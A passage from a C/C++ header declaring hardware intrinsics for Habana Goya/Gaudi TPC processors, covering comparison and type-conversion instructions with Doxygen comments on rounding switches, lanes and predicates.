polarity=0);\n#endif\nbool s_i32_cmp_less(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_less(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_less(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_less(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_less(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_less(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_less_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_less_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_less_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_less_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_less_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_less_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_less_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_less_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_less_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_less_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_less_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_less_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_less_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_less_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_less_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_less_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CMP_NEQ\n//\n\n\n/// @brief Represents CMP_NEQ instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a!=b (scalar or vector).\n///\n/// @{\nbool s_f32_cmp_neq(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_neq(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#endif\nbool s_i32_cmp_neq(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_neq(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_neq(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_neq(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_neq(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_neq(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_neq_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_neq_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_neq_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_neq_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_neq_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_neq_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_neq_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_neq_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_neq_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_neq_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_neq_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_neq_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_neq_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_neq_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_neq_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_neq_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CONVERT\n//\n\n\n/// @brief Represents CONVERT instruction in scalar slot.\n///\n/// @param src The value to convert (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n#if defined(__gaudi_plus__)\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n#endif\n/// \\li SW_CSR - Take rounding mode from\n#if defined(__gaudi__) || defined(__goya__)\n/// ROUND_CSR register\n#endif\n///\n/// @{\nint32_t s_convert_f32_to_i32(float src, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_convert_f32_to_i16(float src, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_convert_f32_to_i8(float src, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_convert_f32_to_bf16(float src, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nfloat s_convert_bf16_to_f32(bf16 src, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nint16_t s_convert_bf16_to_i16(bf16 src, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\n#endif\nfloat s_convert_i32_to_f32(int32_t src, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nuint32_t s_convert_i32_to_u32(int32_t src, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__goya__)\nuint8_t s_convert_i32_to_u8(int32_t src, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbf16 s_convert_i32_to_bf16(int32_t src, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nfloat s_convert_i16_to_f32(int16_t src, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nint32_t s_convert_i16_to_i32(int16_t src, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_convert_i16_to_u32(int16_t src, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_convert_i16_to_u16(int16_t src, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_convert_i16_to_u8(int16_t src, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_convert_i16_to_bf16(int16_t src, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nfloat s_convert_i8_to_f32(int8_t src, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nint32_t s_convert_i8_to_i32(int8_t src, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_convert_i8_to_u32(int8_t src, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_convert_i8_to_i16(int8_t src, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_convert_i8_to_u16(int8_t src, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_convert_i8_to_u8(int8_t src, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_convert_i8_to_bf16(uint8_t src, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbf16 s_convert_u16_to_bf16(uint16_t src, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n/// @brief Represents CONVERT instruction in vector slot, in which the result \\n\n/// vector element is of the same size as the source one.\n///\n/// @param src The value to convert (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n#if defined(__gaudi_plus__)\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n#endif\n/// \\li SW_CSR - Take rounding mode from\n#if defined(__gaudi__) || defined(__goya__)\n/// ROUND_CSR register\n#endif\n///\n/// @{\nint64 v_convert_f32_to_i32_b(float64 src, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_convert_f32_to_i32_vb(float64 src, int switches, int64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nshort128 v_convert_bf16_to_i16_b(bfloat128 src, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_convert_bf16_to_i16_vb(bfloat128 src, int switches, short128 income, bool128 predicate, bool polarity=0);\n#endif\nfloat64 v_convert_i32_to_f32_b(int64 src, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_convert_i32_to_f32_vb(int64 src, int switches, float64 income, bool64 predicate, bool polarity=0);\nuint64 v_convert_i32_to_u32_b(int64 src, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_convert_i32_to_u32_vb(int64 src, int switches, uint64 income, bool64 predicate, bool polarity=0);\nushort128 v_convert_i16_to_u16_b(short128 src, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_convert_i16_to_u16_vb(short128 src, int switches, ushort128 income, bool128 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_convert_i16_to_bf16_b(short128 src, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_convert_i16_to_bf16_vb(short128 src, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbfloat128 v_convert_u16_to_bf16_b(ushort128 src, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_convert_u16_to_bf16_vb(ushort128 src, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nuchar256 v_convert_i8_to_u8_b(char256 src, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_convert_i8_to_u8_vb(char256 src, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents CONVERT instruction in vector slot in which result vector \\n\n/// element is wider then the source one (up-convert).\n///\n/// @param src The value to convert (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n#if defined(__gaudi_plus__)\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n#endif\n/// \\li SW_CSR - Take rounding mode from\n#if defined(__gaudi__) || defined(__goya__)\n/// ROUND_CSR register\n#endif\n///\n/// @{\nfloat64 v_convert_i16_to_f32_b(short128 src, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_convert_i16_to_f32_vb(short128 src, int switches, float64 income, bool64 predicate, bool polarity=0);\nint64 v_convert_i16_to_i32_b(short128 src, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_convert_i16_to_i32_vb(short128 src, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_convert_i16_to_u32_b(short128 src, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_convert_i16_to_u32_vb(short128 src, int switches, uint64 income, bool64 predicate, bool polarity=0);\nfloat64 v_convert_i8_to_f32_b(char256 src, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_convert_i8_to_f32_vb(char256 src, int switches, float64 income, bool64 predicate, bool polarity=0);\nint64 v_convert_i8_to_i32_b(char256 src, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_convert_i8_to_i32_vb(char256 src, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_convert_i8_to_u32_b(char256 src, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_convert_i8_to_u32_vb(char256 src, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_convert_i8_to_i16_b(char256 src, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_convert_i8_to_i16_vb(char256 src, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_convert_i8_to_u16_b(char256 src, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_convert_i8_to_u16_vb(char256 src, int switches, ushort128 income, bool128 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents CONVERT instruction in vector slot in which result vector \\n\n/// element is shorter then the source one (down-convert).\n///\n/// @param src The value to convert (SRC1).\n/// @param lane The lane in output vector to which result of conversion is written, (0: all even lanes, 1: all odd lanes). \\n\n/// For f32 to i16, only lanes 0-1 are available. For f32 to i8, all lanes 0-3 are available.\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n#if defined(__gaudi_plus__)\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n#endif\n/// \\li SW_CSR - Take rounding mode from\n#if defined(__gaudi__) || defined(__goya__)\n/// ROUND_CSR register\n#endif\n///\n/// @{\nshort128 v_convert_f32_to_i16_b(float64 src, const int lane, int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_convert_f32_to_i16_vb(float64 src, const int lane, int switches, short128 income, bool128 predicate, bool polarity=0);\nchar256 v_convert_f32_to_i8_b(float64 src, const int lane, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_convert_f32_to_i8_vb(float64 src, const int lane, int switches, char256 income, bool256 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_convert_i32_to_bf16_b(int64 src, const int lane, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_convert_i32_to_bf16_vb(int64 src, const int lane, int switches, bfloat128 income, bool64 predicate, bool polarity=0);\n#endif\n#if defined(__goya__)\nuchar256 v_convert_i32_to_u8_b(int64 src, const int lane, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_convert_i32_to_u8_vb(int64 src, const int lane, int switches, uchar256 income, bool64 predicate, bool polarity=0);\n#endif\n\nuchar256 v_convert_i16_to_u8_b(short128 src, const int lane, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_convert_i16_to_u8_vb(short128 src, const int lane, int switches, uchar256 income, bool128 predicate, bool polarity=0);\nchar256 v_convert_i16_to_i8_b(short128 src, const int lane, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_convert_i16_to_i8_vb(short128 src, const int lane, int switches, char256 income, bool128 predicate, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents CONVERT instruction in vector slot that make move 1xFP32\n/// to 1xBF16/F16 (lane 0 only), which means the 64 values will be assigned into the\n/// 128 elements vector in every other lane. E.g. 0,2,4,6 ... 126.\n///\n/// @param src The value to convert (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n/// \\li SW_CSR - Take rounding mode from\n#endif\n#if defined(__gaudi__)\n/// ROUND_CSR register\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nbfloat128 v_convert_f32_to_bf16_single_b(float64 src, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_convert_f32_to_bf16_single_vb(float64 src, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n\n/// @}\n\n#if defined(__gaudi_plus__)\n/// @brief Represents CONVERT instruction in vector slot with ALL_LANES switch, \\n\n/// converts all lanes and vector element size of source and destination is different.\n///\n/// @param src The value to convert (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n/// \\li SW_RHAZ - Round half away from zero.\n/// \\li SW_CSR - Take rounding mode from\n#endif\n#if defined(__gaudi__)\n/// ROUND_CSR register\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nbfloat128 v_convert_f32_to_bf16_all_b(float128 src, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nfloat128 v_convert_bf16_to_f32_all_b(bfloat128 src, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\nfloat128 v_convert_bf16_to_f32_all_vb(bfloat128 src, int switches, float128 income, bool128 predicate, bool polarity=0);\n#endif\n\n\n/// @}\n\n\n//\n// ------ CONVERT_INT32\n//\n\n/// @brief Represents scalar CONVERT_INT32 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_INT32 (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n#if defined(__gaudi_plus__)\n/// \\li SW_RZ - Round zero.\n#endif\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n///\n/// @{\n\n// Although the second argument (shift) is declared as INT8 in Goya and Gaudi,\n// we use INT32 for all architectures to have the single function.\nint16_t s_convert_int32_to_i16(int32_t value, int32_t shift, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_convert_int32_to_i8 (int32_t value, int32_t shift, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__goya__) || defined(__gaudi__)\n/// @brief Represents vector CONVERT_INT32 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_INT32 (SRC2).\n/// @param lane Lane number in the output vector, (0: all even lanes, 1: all odd lanes). \\n\n/// For i32 to i16, only lanes 0-1 are available. For i32 to i8, all lanes 0-3 are available.\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n#endif\n#if defined(__gaudi__)\n/// \\li SW_RZ - Round zero.\n///\n#endif\n/// @{\n\n// These functions are defined for Goya and Gaudi only.\n#if defined(__dali__) || defined(__gaudi__)\nshort128 v_convert_int32_to_i16_b (int64 value, char256 shift, const int lane, int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_convert_int32_to_i16_vb(int64 value, char256 shift, const int lane, int switches, short128 income, bool64 predicate, bool polarity=0);\nchar256 v_convert_int32_to_i8_b (int64 value, char256 shift, const int lane, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_convert_int32_to_i8_vb (int64 value, char256 shift, const int lane, int switches, char256 income, bool64 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ CONVERT_UINT32\n//\n\n\n/// @brief Represents scalar CONVERT_UINT32 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_UINT32 (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n#if defined(__gaudi_plus__)\n/// \\li SW_RZ - Round zero.\n#endif\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n///\n/// @{\n\n// Although the second argument (shift) is declared as INT8 in Goya and Gaudi,\n// we use INT32 for all architectures to have the single function for all architectures.\nuint16_t s_convert_uint32_to_u16(uint32_t value, int32_t shift, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_convert_uint32_to_u8 (uint32_t value, int32_t shift, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__goya__) || defined(__gaudi__)\n/// @brief Represents vector CONVERT_UINT32 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_UINT32 (SRC2).\n/// @param lane Lane number in the output vector, (0: all even lanes, 1: all odd lanes). \\n\n/// For u32 to u16, only lanes 0-1 are available. For u32 to u8, all lanes 0-3 are available.\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n#endif\n#if defined(__gaudi__)\n/// \\li SW_RZ - Round zero.\n///\n#endif\n/// @{\n\n// These functions are defined for Goya and Gaudi only.\n#if defined(__dali__) || defined(__gaudi__)\nushort128 v_convert_uint32_to_u16_b (uint64 value, char256 shift, const int lane, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nushort128 v_convert_uint32_to_u16_vb(uint64 value, char256 shift, const int lane, int switches, ushort128 income, bool64 predicate, bool polarity=0);\nuchar256 v_convert_uint32_to_u8_b (uint64 value, char256 shift, const int lane, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_convert_uint32_to_u8_vb (uint64 value, char256 shift, const int lane, int switches, uchar256 income, bool64 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ CONVERT_INT16\n//\n\n\n/// @brief Represents scalar CONVERT_INT16 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_INT16 (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n#if defined(__gaudi_plus__)\n/// \\li SW_RZ - Round zero.\n#endif\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n///\n/// @{\n\n// Although the second argument (shift) is declared as INT8 in Goya and Gaudi,\n// we use INT32 for all architectures to have the single function for all architectures.\nint8_t s_convert_int16_to_i8(int16_t value, int32_t shift, int switches, int8_t income, bool predicate, bool polarity);\n/// @}\n\n\n#if defined(__goya__) || defined(__gaudi__)\n/// @brief Represents vector CONVERT_INT16 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_INT16 (SRC2).\n/// @param lane Lane number in the output vector, (0: all even lanes, 1: all odd lanes). \\n\n/// For i16 to i8, only lanes 0-1 are available.\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n#endif\n#if defined(__gaudi__)\n/// \\li SW_RZ - Round zero.\n///\n#endif\n/// @{\n\n// These functions are defined for Goya and Gaudi only.\n#if defined(__dali__) || defined(__gaudi__)\nchar256 v_convert_int16_to_i8_b (short128 value, char256 shift, const int lane, int switches, char256 income, bool predicate, bool polarity);\nchar256 v_convert_int16_to_i8_vb(short128 value, char256 shift, const int lane, int switches, char256 income, bool128 predicate, bool polarity);\n#endif\n/// @}\n\n\n//\n// ------ CONVERT_UINT16\n//\n\n\n/// @brief Represents scalar CONVERT_UINT16 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_UINT16 (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n#if defined(__gaudi_plus__)\n/// \\li SW_RZ - Round zero.\n#endif\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n///\n/// @{\n\n// Although the second argument (shift) is declared as INT8 in Goya and Gaudi,\n// we use INT32 for all architectures to have the single function for all architectures.\nuint8_t s_convert_uint16_to_u8(uint16_t value, int32_t shift, int switches, uint8_t income, bool predicate, bool polarity);\n/// @}\n\n\n#if defined(__goya__) || defined(__gaudi__)\n/// @brief Represents vector CONVERT_UINT16 instruction.\n///\n/// @param value The value to convert (SRC1).\n/// @param shift The shift argument to CONVERT_UINT16 (SRC2).\n/// @param lane Lane number in the output vector, (0:all even lanes, 1:all odd lanes). \\n\n/// For u16 to u8, only lanes 0-1 are available.\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Converted value.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n/// \\li SW_SR - Stochastic Rounding.\n#endif\n#if defined(__gaudi__)\n/// \\li SW_RZ - Round zero.\n///\n#endif\n/// @{\n\n// These functions are defined for Goya and Gaudi only.\n#if defined(__dali__) || defined(__gaudi__)\nuchar256 v_convert_uint16_to_u8_b (ushort128 value, char256 shift, const int lane, int switches, uchar256 income, bool predicate, bool polarity);\nuchar256 v_convert_uint16_to_u8_vb(ushort128 value, char256 shift, const int lane, int switches, uchar256 income, bool128 predicate, bool polarity);\n#endif\n/// @}\n\n\n//\n// ------ EXTRACT_EXP\n//\n\n\n/// @brief Represents EXTRACT_EXP instruction.\n///\n/// @param a Input float number (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Mantissa of the input value.\n///\n/// \\par Allowed switches are:\n/// \\li SW_BIASED - When set, the exponent should be biased (unsigned). When cleared, the exponent should be non-biased 